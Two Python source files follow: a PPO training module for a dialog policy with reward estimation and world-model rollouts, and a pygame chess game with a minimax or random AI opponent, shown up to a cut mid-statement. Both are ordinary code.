# -*- coding: utf-8 -*- import os import numpy as np import logging import pickle import torch import torch.nn as nn from torch import optim from torch import multiprocessing as mp from rlmodule import MultiDiscretePolicy, Value, Memory, Transition, UserAction2 from estimator import RewardEstimator from utils import state_vectorize, to_device, usr_state_vectorize from metrics import Evaluator from copy import deepcopy import random from world_model import WorldModel DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") def sampler(pid, queue, evt, env, policy, batchsz): """ This is a sampler function, and it will be called by multiprocess.Process to sample data from environment by multiple processes. :param pid: process id :param queue: multiprocessing.Queue, to collect sampled data :param evt: multiprocessing.Event, to keep the process alive :param env: environment instance :param policy: policy network, to generate action from current policy :param batchsz: total sampled items :return: """ buff = Memory(Transition) user_buff = Memory(UserAction2) # we need to sample batchsz of (state, action, next_state, reward, mask) # each trajectory contains `trajectory_len` num of items, so we only need to sample # `batchsz//trajectory_len` num of trajectory totally # the final sampled number may be larger than batchsz. sampled_num = 0 sampled_traj_num = 0 traj_len = 40 real_traj_len = 0 while sampled_num < batchsz: # for each trajectory, we reset the env and get initial state s = env.reset() for t in range(traj_len): # [s_dim] => [a_dim] s_vec = torch.Tensor(state_vectorize(s, env.cfg, env.db)) a = policy.select_action(s_vec.to(device=DEVICE)).cpu() # interact with env next_s, done, info = env.step(s, a) # a flag indicates ending or not mask = 0 if done else 1 # get reward compared to demonstrations next_s_vec = torch.Tensor(state_vectorize(next_s, env.cfg, env.db)) # save to queue buff.push(s_vec.numpy(), a.numpy(), mask, next_s_vec.numpy()) user_state_vec = usr_state_vectorize(info['wm_state']['user_goal'], list(info['wm_state']['history']['sys'].keys()) + list(info['wm_state']['sys_action'].keys()), env.cfg) user_buff.push(info['wm_state'], user_state_vec, info['wm_usr_a_vec'].numpy(), info['wm_usr_terminal'], env.goal, env.agenda) # update per step s = next_s real_traj_len = t if done: break # this is end of one trajectory sampled_num += real_traj_len sampled_traj_num += 1 # t indicates the valid trajectory length # this is end of sampling all batchsz of items. # when sampling is over, push all buff data into queue queue.put([pid, buff, user_buff]) evt.wait() class PPO(object): def __init__(self, env_cls, args, manager, cfg, process_num, pre=False, pre_irl=False, infer=False): """ :param env_cls: env class or function, not instance, as we need to create several instance in class. :param args: :param manager: :param cfg: :param process_num: process number :param pre: set to pretrain mode :param infer: set to test mode """ self.ratio = args.sim_ratio self.model_horizon = args.model_horizon self.process_num = process_num # initialize envs for each process self.env_list = [] for _ in range(process_num): self.env_list.append(env_cls()) # construct policy and value network self.policy = MultiDiscretePolicy(cfg).to(device=DEVICE) self.value = Value(cfg).to(device=DEVICE) if pre: self.print_per_batch = args.print_per_batch from dbquery import DBQuery db = DBQuery(args.data_dir) self.data_train = manager.create_dataset_rl('train', args.batchsz, cfg, db) self.data_valid = manager.create_dataset_rl('valid', args.batchsz, cfg, db) self.data_test = manager.create_dataset_rl('test', args.batchsz, cfg, db) self.multi_entropy_loss = nn.MultiLabelSoftMarginLoss() else: self.rewarder = RewardEstimator(args, manager, cfg, pretrain=pre_irl, inference=infer) self.evaluator = Evaluator(args.data_dir, cfg) self.world_model = WorldModel(args, cfg, manager) self.save_dir = args.save_dir self.save_per_epoch = args.save_per_epoch self.optim_batchsz = args.batchsz self.update_round = args.update_round self.policy.eval() self.value.eval() self.gamma = args.gamma self.epsilon = args.epsilon self.tau = args.tau self.policy_optim = optim.RMSprop(self.policy.parameters(), lr=args.lr_rl) self.value_optim = optim.Adam(self.value.parameters(), lr=args.lr_rl) def policy_loop(self, data): s, target_a = to_device(data) a_weights = self.policy(s) loss_a = self.multi_entropy_loss(a_weights, target_a) return loss_a def imitating(self, epoch): """ pretrain the policy by simple imitation learning (behavioral cloning) """ self.policy.train() a_loss = 0. for i, data in enumerate(self.data_train): self.policy_optim.zero_grad() loss_a = self.policy_loop(data) a_loss += loss_a.item() loss_a.backward() self.policy_optim.step() if (i + 1) % self.print_per_batch == 0: a_loss /= self.print_per_batch logging.debug('<<dialog policy>> epoch {}, iter {}, loss_a:{}'.format(epoch, i, a_loss)) a_loss = 0. if (epoch + 1) % self.save_per_epoch == 0: self.save(self.save_dir, epoch, True) self.policy.eval() def imit_test(self, epoch, best): """ provide an unbiased evaluation of the policy fit on the training dataset """ a_loss = 0. for i, data in enumerate(self.data_valid): loss_a = self.policy_loop(data) a_loss += loss_a.item() a_loss /= len(self.data_valid) logging.debug('<<dialog policy>> validation, epoch {}, loss_a:{}'.format(epoch, a_loss)) if a_loss < best: logging.info('<<dialog policy>> best model saved') best = a_loss self.save(self.save_dir, 'best', True) a_loss = 0. for i, data in enumerate(self.data_test): loss_a = self.policy_loop(data) a_loss += loss_a.item() a_loss /= len(self.data_test) logging.debug('<<dialog policy>> test, epoch {}, loss_a:{}'.format(epoch, a_loss)) return best def imit_value(self, epoch, batchsz, best): self.value.train() batch, _ = self.sample(batchsz) s = torch.from_numpy(np.stack(batch.state)).to(device=DEVICE) a = torch.from_numpy(np.stack(batch.action)).to(device=DEVICE) next_s = torch.from_numpy(np.stack(batch.next_state)).to(device=DEVICE) mask = torch.Tensor(np.stack(batch.mask)).to(device=DEVICE) batchsz = s.size(0) v = self.value(s).squeeze(-1).detach() log_pi_old_sa = self.policy.get_log_prob(s, a).detach() r = self.rewarder.estimate(s, a, next_s, log_pi_old_sa).detach() A_sa, v_target = self.est_adv(r, v, mask) value_loss = 0. for i in range(self.update_round): perm = torch.randperm(batchsz) v_target_shuf, s_shuf = v_target[perm], s[perm] optim_chunk_num = int(np.ceil(batchsz / self.optim_batchsz)) v_target_shuf, s_shuf = torch.chunk(v_target_shuf, optim_chunk_num), torch.chunk(s_shuf, optim_chunk_num) value_loss = 0. for v_target_b, s_b in zip(v_target_shuf, s_shuf): self.value_optim.zero_grad() v_b = self.value(s_b).squeeze(-1) loss = (v_b - v_target_b).pow(2).mean() value_loss += loss.item() loss.backward() self.value_optim.step() value_loss /= optim_chunk_num logging.debug('<<dialog policy>> epoch {}, iteration {}, loss {}'.format(epoch, i, value_loss)) if value_loss < best: logging.info('<<dialog policy>> best model saved') best = value_loss self.save(self.save_dir, 'best', True) if (epoch + 1) % self.save_per_epoch == 0: self.save(self.save_dir, epoch, True) self.value.eval() return best def train_irl(self, epoch, batchsz): batch, _ = self.sample(batchsz) self.rewarder.train_irl(batch, epoch) def test_irl(self, epoch, batchsz, best): batch, _ = self.sample(batchsz) best = self.rewarder.test_irl(batch, epoch, best) return best @staticmethod def _prepare_world_model_data(user_batch): user_state_vec = torch.from_numpy(np.stack(user_batch.state_vec)).float().to(DEVICE) user_act_vec = torch.from_numpy(np.stack(user_batch.action_vec)).float().to(DEVICE) user_terminal_vec = torch.from_numpy(np.stack(user_batch.terminal)).unsqueeze(-1).float().to(DEVICE) return [user_state_vec, user_act_vec, user_terminal_vec] def train_world_model(self, epoch, batchsz): _, batch = self.sample(batchsz) self.world_model.train(self._prepare_world_model_data(batch), epoch) def test_world_model(self, epoch, batchsz, best): _, batch = self.sample(batchsz) best = self.world_model.test(self._prepare_world_model_data(batch), epoch, best) return best def est_adv(self, r, v, mask): """ we save a trajectory in continuous space and it reaches the ending of current trajectory when mask=0. :param r: reward, Tensor, [b] :param v: estimated value, Tensor, [b] :param mask: indicates ending for 0 otherwise 1, Tensor, [b] :return: A(s, a), V-target(s), both Tensor """ batchsz = v.size(0) # v_target is worked out by Bellman equation. v_target = torch.Tensor(batchsz).to(device=DEVICE) delta = torch.Tensor(batchsz).to(device=DEVICE) A_sa = torch.Tensor(batchsz).to(device=DEVICE) prev_v_target = 0 prev_v = 0 prev_A_sa = 0 for t in reversed(range(batchsz)): # mask here indicates a end of trajectory # this value will be treated as the target value of value network. # mask = 0 means the immediate reward is the real V(s) since it's end of trajectory. # formula: V(s_t) = r_t + gamma * V(s_t+1) v_target[t] = r[t] + self.gamma * prev_v_target * mask[t] # please refer to : https://arxiv.org/abs/1506.02438 # for generalized adavantage estimation # formula: delta(s_t) = r_t + gamma * V(s_t+1) - V(s_t) delta[t] = r[t] + self.gamma * prev_v * mask[t] - v[t] # formula: A(s, a) = delta(s_t) + gamma * lamda * A(s_t+1, a_t+1) # here use symbol tau as lambda, but original paper uses symbol lambda. A_sa[t] = delta[t] + self.gamma * self.tau * prev_A_sa * mask[t] # update previous prev_v_target = v_target[t] prev_v = v[t] prev_A_sa = A_sa[t] # normalize A_sa A_sa = (A_sa - A_sa.mean()) / A_sa.std() return A_sa, v_target def update(self, batchsz, epoch, best=None): """ firstly sample batchsz items and then perform optimize algorithms. :param batchsz: :param epoch: :param best: :return: """ backward = True if best is None else False if backward: self.policy.train() self.value.train() # 1. sample data asynchronously real_batch, user_batch = self.sample(batchsz) # data in batch is : batch.state: ([1, s_dim], [1, s_dim]...) # batch.action: ([1, a_dim], [1, a_dim]...) # batch.reward/ batch.mask: ([1], [1]...) real_s, real_a, real_mask, real_next_s = [torch.from_numpy(np.stack(item)).to(device=DEVICE) for item in real_batch] real_batchsz = real_s.size(0) # 2. update reward estimator real_inputs = (real_s, real_a, real_next_s) if backward: self.rewarder.update_irl(real_inputs, real_batchsz, epoch) else: best[1] = self.rewarder.update_irl(real_inputs, real_batchsz, epoch, best[1]) # update the world model if backward: self.world_model.train(self._prepare_world_model_data(user_batch), epoch) else: best[3] = self.world_model.test(self._prepare_world_model_data(user_batch), epoch, best[3]) # merge real trajectory and simulated trajectory if backward and self.ratio > 0.0: # sample with the world model # I-SEE sim_batch = self.sample_with_wm(int(np.ceil(batchsz * self.ratio)), user_batch) # DDQ style # sim_batch = self.sample_with_wm_complete(int(np.ceil(batchsz * self.ratio))) s, a, mask, next_s = [torch.from_numpy(np.stack(real_traj + sim_traj)).to(device=DEVICE) for real_traj, sim_traj in zip(real_batch, sim_batch)] batchsz = s.size(0) else: s, a, mask, next_s = real_s, real_a, real_mask, real_next_s batchsz = real_batchsz # 3. get estimated V(s) and PI_old(s, a) # actually, PI_old(s, a) can be saved when interacting with env, so as to save the time of one forward elapsed # v: [b, 1] => [b] v = self.value(s).squeeze(-1).detach() log_pi_old_sa = self.policy.get_log_prob(s, a).detach() # 4. estimate advantage and v_target according to GAE and Bellman Equation r = self.rewarder.estimate(s, a, next_s, log_pi_old_sa).detach() A_sa, v_target = self.est_adv(r, v, mask) if backward: logging.debug('<<dialog policy>> epoch {}, reward {}'.format(epoch, r.mean().item())) else: reward = r.mean().item() logging.debug('<<dialog policy>> validation, epoch {}, reward {}'.format(epoch, reward)) if reward > best[2]: logging.info('<<dialog policy>> best model saved') best[2] = reward self.save(self.save_dir, 'best', True) with open(self.save_dir + '/best.pkl', 'wb') as f: pickle.dump(best, f) return best # 5. update dialog policy for i in range(self.update_round): # 1. shuffle current batch perm = torch.randperm(batchsz) # shuffle the variable for mutliple optimize v_target_shuf, A_sa_shuf, s_shuf, a_shuf, log_pi_old_sa_shuf = v_target[perm], A_sa[perm], s[perm], a[perm], \ log_pi_old_sa[perm] # 2. get mini-batch for optimizing optim_chunk_num = int(np.ceil(batchsz / self.optim_batchsz)) # chunk the optim_batch for total batch v_target_shuf, A_sa_shuf, s_shuf, a_shuf, log_pi_old_sa_shuf = torch.chunk(v_target_shuf, optim_chunk_num), \ torch.chunk(A_sa_shuf, optim_chunk_num), \ torch.chunk(s_shuf, optim_chunk_num), \ torch.chunk(a_shuf, optim_chunk_num), \ torch.chunk(log_pi_old_sa_shuf, optim_chunk_num) # 3. iterate all mini-batch to optimize policy_loss, value_loss = 0., 0. for v_target_b, A_sa_b, s_b, a_b, log_pi_old_sa_b in zip(v_target_shuf, A_sa_shuf, s_shuf, a_shuf, log_pi_old_sa_shuf): # print('optim:', batchsz, v_target_b.size(), A_sa_b.size(), s_b.size(), a_b.size(), log_pi_old_sa_b.size()) # 1. update value network self.value_optim.zero_grad() v_b = self.value(s_b).squeeze(-1) loss = (v_b - v_target_b).pow(2).mean() value_loss += loss.item() # backprop loss.backward() # nn.utils.clip_grad_norm(self.value.parameters(), 4) self.value_optim.step() # 2. update policy network by clipping self.policy_optim.zero_grad() # [b, 1] log_pi_sa = self.policy.get_log_prob(s_b, a_b) # ratio = exp(log_Pi(a|s) - log_Pi_old(a|s)) = Pi(a|s) / Pi_old(a|s) # we use log_pi for stability of numerical operation # [b, 1] => [b] ratio = (log_pi_sa - log_pi_old_sa_b).exp().squeeze(-1) surrogate1 = ratio * A_sa_b surrogate2 = torch.clamp(ratio, 1 - self.epsilon, 1 + self.epsilon) * A_sa_b # this is element-wise comparing. # we add negative symbol to convert gradient ascent to gradient descent surrogate = - torch.min(surrogate1, surrogate2).mean() policy_loss += surrogate.item() # backprop surrogate.backward() # gradient clipping, for stability torch.nn.utils.clip_grad_norm_(self.policy.parameters(), 10) # self.lock.acquire() # retain lock to update weights self.policy_optim.step() # self.lock.release() # release lock value_loss /= optim_chunk_num policy_loss /= optim_chunk_num logging.debug('<<dialog policy>> epoch {}, iteration {}, value, loss {}'.format(epoch, i, value_loss)) logging.debug('<<dialog policy>> epoch {}, iteration {}, policy, loss {}'.format(epoch, i, policy_loss)) if (epoch + 1) % self.save_per_epoch == 0: self.save(self.save_dir, epoch) with open(self.save_dir + '/' + str(epoch) + '.pkl', 'wb') as f: pickle.dump(best, f) self.policy.eval() self.value.eval() def sample_with_wm(self, batchsz, user_batch): user_batchsz = len(user_batch.state_comp) sampled_num = 0 # traj_len = 40 buff = Memory(Transition) while sampled_num < batchsz: # sample a state from the user batch index = random.choice(range(user_batchsz)) state, state_vec, user_act_vec, terminal, goal, agenda = \ user_batch.state_comp[index], user_batch.state_vec[index], \ user_batch.action_vec[index], user_batch.terminal[index], user_batch.goal[index], user_batch.agenda[ index] if terminal: continue self.world_model.set_goal_agenda(goal, agenda) s = self.world_model.set_state(state, torch.from_numpy(user_act_vec), terminal) self.world_model.pick_one(random.choice(range(self.world_model.ensemble_size))) for t in range(self.model_horizon): # [s_dim] => [a_dim] s_vec = torch.Tensor(state_vectorize(s, self.world_model.cfg, self.world_model.db)) a = self.policy.select_action(s_vec.to(device=DEVICE)).cpu() # interact with env next_s, done, info = self.world_model.step(s, a) sampled_num += 1 # a flag indicates ending or not mask = 0 if done or (t == (self.model_horizon - 1)) else 1 # get reward compared to demonstrations next_s_vec = torch.Tensor(state_vectorize(next_s, self.world_model.cfg, self.world_model.db)) # save to queue buff.push(s_vec.numpy(), a.numpy(), mask, next_s_vec.numpy()) s = next_s if done: break self.world_model.pick_one(None) return buff.get_batch() def sample(self, batchsz): """ Given batchsz number of task, the batchsz will be splited equally to each processes and when processes return, it merge all data and return :param batchsz: :return: batch """ # batchsz will be splitted into each process, # final batchsz maybe larger than batchsz parameters process_batchsz = np.ceil(batchsz / self.process_num).astype(np.int32) # buffer to save all data queue = mp.Queue() # start processes for pid in range(1, processnum) # if processnum = 1, this part will be ignored. # when save tensor in Queue, the process should keep alive till Queue.get(), # please refer to : https://discuss.pytorch.org/t/using-torch-tensor-over-multiprocessing-queue-process-fails/2847 # however still some problem on CUDA tensors on multiprocessing queue, # please refer to : https://discuss.pytorch.org/t/cuda-tensors-on-multiprocessing-queue/28626 # so just transform tensors into numpy, then put them into queue. evt = mp.Event() processes = [] for i in range(self.process_num): process_args = (i, queue, evt, self.env_list[i], self.policy, process_batchsz) processes.append(mp.Process(target=sampler, args=process_args)) for p in processes: # set the process as daemon, and it will be killed once the main process is stoped. p.daemon = True p.start() # we need to get the first Memory object and then merge others Memory use its append function. pid0, buff0, user_buff0 = queue.get() for _ in range(1, self.process_num): pid, buff_, user_buff_ = queue.get() buff0.append(buff_) # merge current Memory into buff0 user_buff0.append(user_buff_) evt.set() # now buff saves all the sampled data buff = buff0 user_buff = user_buff0 return buff.get_batch(), user_buff.get_batch() def evaluate(self): env = self.env_list[0] traj_len = 40 reward_tot, turn_tot, inform_tot, match_tot, success_tot = [], [], [], [], [] for seed in range(1000): s = env.reset(seed) print('seed', seed) print('goal', env.goal.domain_goals) print('usr', s['user_action']) turn = traj_len reward = [] value = [] mask = [] for t in range(traj_len): s_vec = torch.Tensor(state_vectorize(s, env.cfg, env.db)).to(device=DEVICE) # mode with policy during evaluation a = self.policy.select_action(s_vec, False) next_s, done, _ = env.step(s, a.cpu()) next_s_vec = torch.Tensor(state_vectorize(next_s, env.cfg, env.db)).to(device=DEVICE) log_pi = self.policy.get_log_prob(s_vec, a) r = self.rewarder.estimate(s_vec, a, next_s_vec, log_pi) v = self.value(s_vec).squeeze(-1) reward.append(r.item()) value.append(v.item()) s = next_s print('sys', s['last_sys_action']) print('usr', s['user_action']) if done: mask.append(0) turn = t + 2 # one due to counting from 0, the one for the last turn break mask.append(1) reward_tot.append(np.mean(reward)) turn_tot.append(turn) match_tot += self.evaluator.match_rate(s) inform_tot.append(self.evaluator.inform_F1(s)) reward = torch.Tensor(reward) value = torch.Tensor(value) mask = torch.LongTensor(mask) A_sa, v_target = self.est_adv(reward, value, mask) print('turn', turn) # print('reward', A_sa.tolist()) print('reward', v_target[0].item()) match_session = self.evaluator.match_rate(s, True) print('match', match_session) inform_session = self.evaluator.inform_F1(s, True) print('inform', inform_session) if (match_session == 1 and inform_session[1] == 1) \ or (match_session == 1 and inform_session[1] is None) \ or (match_session is None and inform_session[1] == 1): print('success', 1) success_tot.append(1) else: print('success', 0) success_tot.append(0) logging.info('reward {}'.format(np.mean(reward_tot))) logging.info('turn {}'.format(np.mean(turn_tot))) logging.info('match {}'.format(np.mean(match_tot))) TP, FP, FN = np.sum(inform_tot, 0) prec = TP / (TP + FP) rec = TP / (TP + FN) F1 = 2 * prec * rec / (prec + rec) logging.info('inform rec {}, F1 {}'.format(rec, F1)) logging.info('success {}'.format(np.mean(success_tot))) def save(self, directory, epoch, rl_only=False): if not os.path.exists(directory): os.makedirs(directory) if not rl_only: self.rewarder.save_irl(directory, epoch) torch.save(self.value.state_dict(), directory + '/' + str(epoch) + '_ppo.val.mdl') torch.save(self.policy.state_dict(), directory + '/' + str(epoch) + '_ppo.pol.mdl') logging.info('<<dialog policy>> epoch {}: saved network to mdl'.format(epoch)) def load(self, filename): self.rewarder.load_irl(filename) for idx in range(self.world_model.ensemble_size): self.world_model.pick_one(idx) self.world_model.load(filename) self.world_model.pick_one(None) value_mdl = filename + '_ppo.val.mdl' policy_mdl = filename + '_ppo.pol.mdl' if os.path.exists(value_mdl): self.value.load_state_dict(torch.load(value_mdl)) logging.info('<<dialog policy>> loaded checkpoint from file: {}'.format(value_mdl)) if os.path.exists(policy_mdl): self.policy.load_state_dict(torch.load(policy_mdl)) logging.info('<<dialog policy>> loaded checkpoint from file: {}'.format(policy_mdl)) best_pkl = filename + '.pkl' if os.path.exists(best_pkl): with open(best_pkl, 'rb') as f: best = pickle.load(f) else: best = [float('inf'), float('inf'), float('-inf'), {'pi': [float('inf')] * self.world_model.ensemble_size, 'done': [float('inf')] * self.world_model.ensemble_size}] return best def sample_with_wm_complete(self, batchsz): sampled_num = 0 sampled_traj_num = 0 traj_len = 40 buff = Memory(Transition) while sampled_num < batchsz: s = self.world_model.reset() self.world_model.pick_one(random.choice(range(self.world_model.ensemble_size))) for t in range(traj_len): s_vec = torch.Tensor(state_vectorize(s, self.world_model.cfg, self.world_model.db)) a = self.policy.select_action(s_vec.to(device=DEVICE)).cpu() # interact with env next_s, done, info = self.world_model.step(s, a) sampled_num += 1 # a flag indicates ending or not mask = 0 if done or (t == (self.model_horizon - 1)) else 1 # get reward compared to demonstrations next_s_vec = torch.Tensor(state_vectorize(next_s, self.world_model.cfg, self.world_model.db)) # save to queue buff.push(s_vec.numpy(), a.numpy(), mask, next_s_vec.numpy()) # update per step s = next_s if done: break # this is end of one trajectory sampled_traj_num += 1 self.world_model.pick_one(None) return buff.get_batch()
chess.py
from math import inf import pygame_menu import queue import sys import threading import time from board import * from timer import Timer # Initialize Pygame pygame.init() # Fonts FONT = pygame.font.Font(pygame_menu.font.FONT_OPEN_SANS_BOLD, 18) BIG_FONT = pygame.font.Font(pygame_menu.font.FONT_OPEN_SANS_BOLD, 26) # Title and Icon pygame.display.set_caption("ChessAI") icon = pygame.image.load(os.path.join('img', 'icon.png')) pygame.display.set_icon(icon) class Game: def __init__(self): self.p1_name = "Player 1" self.p2_name = "Minimax" self.p1_timer = Timer(600, "bot") self.p2_timer = Timer(600, "top") self.p1_color = WHITE self.p2_color = BLACK self.ai_move = queue.Queue() self.lock = threading.Lock() self.board = Board(self.p1_color) self.board.initialize_pieces() self.menu_screen() def reset(self): """ Resets board and makes changes to game state to prepare for new game :return: None """ self.p2_name = "Minimax" self.p1_timer.reset() self.p2_timer.reset() self.p1_color = WHITE self.p2_color = BLACK self.board = Board(self.p1_color) self.board.initialize_pieces() self.ai_move = queue.Queue() def set_name(self, name): """ Sets name of human player :param name: name of human player (str) :return: None """ self.p1_name = name def set_color(self, color, value): """ Sets color of human player :param color: color selected by player (str) :param value: RGB representation of color (tuple) :return: None """ self.board.player = value self.p1_color = value if value == WHITE: self.p2_color = BLACK self.board.bottomPlayerTurn = False else: self.p2_color = WHITE self.board.bottomPlayerTurn = True self.board = Board(value) self.board.initialize_pieces() def set_ai(self, tup, value): """ Updates name of AI to correspond to underlying method of move choice :param tup: tuple containing color as a string and as an RGB tuple (tuple) :param value: numerical value representing AI (int) :return: None """ self.p2_name = tup[0] def menu_screen(self): """ Displays menu screen :return: None """ theme = pygame_menu.themes.Theme(title_bar_style=pygame_menu.widgets.MENUBAR_STYLE_NONE, menubar_close_button=False, widget_font_color=SMALL_TEXT_COLOR, background_color=BG_COLOR, widget_font=pygame_menu.font.FONT_OPEN_SANS_BOLD, cursor_color=WHITE) menu = pygame_menu.Menu(height=SCREEN_HEIGHT, width=SCREEN_WIDTH, title="", theme=theme, menu_position=(50, 0)) menu.add_label("ChessAI", align=pygame_menu.locals.ALIGN_CENTER, font_name=pygame_menu.font.FONT_OPEN_SANS_BOLD, font_color=LARGE_TEXT_COLOR, font_size=90, margin=(0, 50)) menu.add_text_input('Name : ', default=self.p1_name, maxchar=10, onchange=self.set_name) menu.add_selector('Color : ', [('White', WHITE), ('Black', BLACK)], onchange=self.set_color) menu.add_selector('AI : ', [('Minimax', 1), ('Random', 2)], onchange=self.set_ai) menu.add_button('Play', self.game_screen) menu.add_button('Quit', pygame_menu.events.EXIT) menu.add_label("", align=pygame_menu.locals.ALIGN_CENTER, font_color=BLACK, font_size=70, margin=(0, 50)) menu.center_content() # Keeps track of whether menu screen should keep running or stop running = True # Menu screen loop while running: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() exit() menu.mainloop(SCREEN) pygame.display.flip() def determine_move(self): """ Determines move for AI and places move in thread-safe container (Queue) :return: None """ # Determine move based on selected AI if self.p2_name == "Minimax": self.ai_move.put(AI.minimax(self.board.copy(), 20, inf, -inf, True, self.p2_color)[0]) else: self.ai_move.put(AI.random_move(self.board)) # Close thread after move has been found sys.exit() def game_screen(self): """ Displays game screen :return: None """ # Create clock to keep track of time clock = pygame.time.Clock() # Stores time passed since last frame (used to tick player timers) dt = 0 # Create a thread which will be used to determine AI's move concurrently with rest of game t = threading.Thread(target=self.determine_move) # Keeps track of whether or not human player has resigned p1_resigned = False # Creates collision box for resign button resign_button = pygame.Rect(BOARD_X + BOARD_SIZE + 8, BOARD_Y + BOARD_SIZE + 8, int((TILE_SIZE * 4 + 8) / 2 - 4), 28) # Game screen loop while True: for event in pygame.event.get(): # Pygame window was closed if event.type == pygame.QUIT: pygame.quit() exit() # Check if any buttons were pressed or pieces were selected if event.type == pygame.MOUSEBUTTONDOWN: self.board.select() mouse_pos = event.pos self.board.draw() pygame.display.flip() # Resign button was pressed if resign_button.collidepoint(mouse_pos): p1_resigned = True # Draw background first (everything else goes on top of it) SCREEN.fill(BG_COLOR) # Decrement timer for player of current turn if self.board.turn == self.p2_color: self.p2_timer.tick(dt) else: self.p1_timer.tick(dt) # Draw UI elements self.draw_names() self.draw_turn_indicator() self.p1_timer.draw() self.p2_timer.draw() self.draw_resign_button() # Check for endgame state self.board.checkmate_stalemate() self.board.insufficient_material() # GAME OVER: Checkmate, Stalemate, or Insufficient Material if self.board.gameover: print("GAME OVER: ", self.board.gameover[0]) if self.board.gameover[0] == "Insufficient Material" or self.board.gameover[0] == "Stalemate": return self.end_screen(self.board.gameover[0], None) else: if self.board.gameover[1] == self.board.player: return self.end_screen(self.board.gameover[0], self.p1_name) else: return self.end_screen(self.board.gameover[0], self.p2_name) # GAME OVER: Player 1 ran out of time if self.p1_timer.time <= 0: print("GAME OVER: Timeout") return self.end_screen("Timeout", self.p2_name) # GAME OVER: Player 2 ran out of time if self.p2_timer.time <= 0: print("GAME OVER: Timeout") return self.end_screen("Timeout", self.p1_name) # GAME OVER: Player 1 has resigned if p1_resigned: print("GAME OVER: Resignation") return self.end_screen("Resignation", self.p2_name) # Tell AI to determine move if... # 1 - It is their turn # 2 - They haven't found a move already # 3 - The game is not over # 4 - They aren't currently searching for a move (ensure 'determine_move' thread is not running) self.lock.acquire() if self.board.turn == self.p2_color \ and self.ai_move.qsize() == 0 \ and not self.board.gameover \ and not t.is_alive(): # Need to remake thread, since a thread can only be started once t = threading.Thread(target=self.determine_move) t.start() self.lock.release() # Tell AI to make their move if... # 1 - It is their turn # 2 - They found a move # 3 - The game is not over if self.board.turn == self.p2_color \ and self.ai_move.qsize() > 0 \ and not self.board.gameover: move = self.ai_move.get() self.board.make_move(move[0], move[1]) self.board.next_turn() # Update time since last frame dt = clock.tick(30) / 1000 # Draw all components of board self.board.draw() # Update display pygame.display.flip() # Self-play # if self.board.turn == self.p1_color: # move = AI.random_move(self.board) # self.board.make_move(move[0], move[1]) # self.board.next_turn() def end_screen(self, condition, winner=None): """ Displays end screen :param condition: string representing win condition that ended the game (str) :param winner: name of winner if applicable (str) :return: None """ # Create background for end screen bg = pygame.Rect(int(BOARD_X + TILE_SIZE * 2.5), int(BOARD_Y + TILE_SIZE * 2.5), TILE_SIZE * 3, TILE_SIZE * 2) # Creates collision boxes for rematch and leave buttons rematch_button = pygame.Rect(bg.left, bg.bottom - 28, bg.centerx - bg.left - 2, 28) leave_button = pygame.Rect(bg.centerx + 2, bg.bottom - 28, bg.centerx - bg.left - 2, 28) # Creates fade transitional effect for end screen def fade(width, height): f = pygame.Surface((width, height)) f.fill(BG_COLOR) for alpha in range(0, 175): f.set_alpha(alpha) self.board.draw() SCREEN.blit(f, (0, 0)) pygame.display.update() pygame.time.delay(1) # Controls fade effect fading = True # End screen loop while True: for event in pygame.event.get(): # Pygame window was closed if event.type == pygame.QUIT: pygame.quit() exit() # Check if any buttons were pressed if event.type == pygame.MOUSEBUTTONDOWN: mouse_pos = event.pos # Rematch button was pressed if rematch_button.collidepoint(mouse_pos): self.reset() return self.game_screen() # Leave button was pressed if leave_button.collidepoint(mouse_pos): self.reset() return self.menu_screen() # Apply fade effect if fading: fade(SCREEN_WIDTH, SCREEN_HEIGHT) fading = False # Draw UI elements self.draw_end_message(condition, winner) # Update display pygame.display.flip() # Self-play # time.sleep(1) # self.reset() # return self.game_screen() def draw_names(self): """ Draws names for both players :return: None """ # Draw top name (player 2) pygame.draw.rect(SCREEN, BG_COLOR_LIGHT, [BOARD_X, BOARD_Y - 36, TILE_SIZE * 2, 28]) p1name = FONT.render(self.p2_name, True, SMALL_TEXT_COLOR) SCREEN.blit(p1name, (BOARD_X + 4, BOARD_Y - 34)) # Draw bottom name (player 1) pygame.draw.rect(SCREEN, BG_COLOR_LIGHT, [BOARD_X, BOARD_Y + BOARD_SIZE + 8, TILE_SIZE * 2, 28]) p2name = FONT.render(self.p1_name, True, SMALL_TEXT_COLOR) SCREEN.blit(p2name, (BOARD_X + 4, BOARD_Y + BOARD_SIZE + 10)) def draw_turn_indicator(self): """ Draws turn indicator based on turn of current player in game screen :return: None """ if self.board.turn == self.p1_color: txt = FONT.render("YOUR TURN", True, LARGE_TEXT_COLOR) SCREEN.blit(txt, (int(BOARD_X + TILE_SIZE * 3.5 + 8), BOARD_Y + BOARD_SIZE + 10)) else: txt = FONT.render("AI is thinking...", True, LARGE_TEXT_COLOR) SCREEN.blit(txt, (int(BOARD_X + TILE_SIZE * 3.5 + 8), BOARD_Y + BOARD_SIZE + 10)) @staticmethod def draw_resign_button(): """ Draws resign button in game screen :return: None """ pygame.draw.rect(SCREEN, BG_COLOR_LIGHT, [BOARD_X + BOARD_SIZE + 8, BOARD_Y + BOARD_SIZE + 8, int((TILE_SIZE * 4 + 8) / 2 - 4), 28]) txt = FONT.render("Resign", True, SMALL_TEXT_COLOR) SCREEN.blit(txt, (BOARD_X + BOARD_SIZE + 40, BOARD_Y + BOARD_SIZE + 10)) @staticmethod def draw_end_message(condition, winner): """ Draws end message in end screen :param condition: string representing win condition that ended the game (str) :param winner: name of winner if applicable (str) :return: None """ # Draw 'Game Over' text bg = pygame.draw.rect(SCREEN, BG_COLOR_LIGHT, [int(BOARD_X + TILE_SIZE * 2.5), int(BOARD_Y + TILE_SIZE * 2.5), TILE_SIZE * 3, TILE_SIZE * 2]) pygame.draw.rect(SCREEN, BLACK, [int(BOARD_X + TILE_SIZE * 2.5), int(BOARD_Y + TILE_SIZE * 2.5), TILE_SIZE * 3, TILE_SIZE * 2], 1) txt = BIG_FONT.render("Game Over", True, LARGE_TEXT_COLOR) SCREEN.blit(txt, (BOARD_X + TILE_SIZE * 3 - 8, int(BOARD_Y + TILE_SIZE * 2.5 + 4))) # Draw win condition and winner (if applicable) if winner: txt = FONT.render(winner + " won", True, SMALL_TEXT_COLOR) SCREEN.blit(txt, (BOARD_X + TILE_SIZE * 3, BOARD_Y + TILE_SIZE * 3 + 4)) txt = FONT.render(f"by {condition}", True, SMALL_TEXT_COLOR) SCREEN.blit(txt, (BOARD_X + TILE_SIZE * 3, int(BOARD_Y + TILE_SIZE * 3.4))) else: txt = 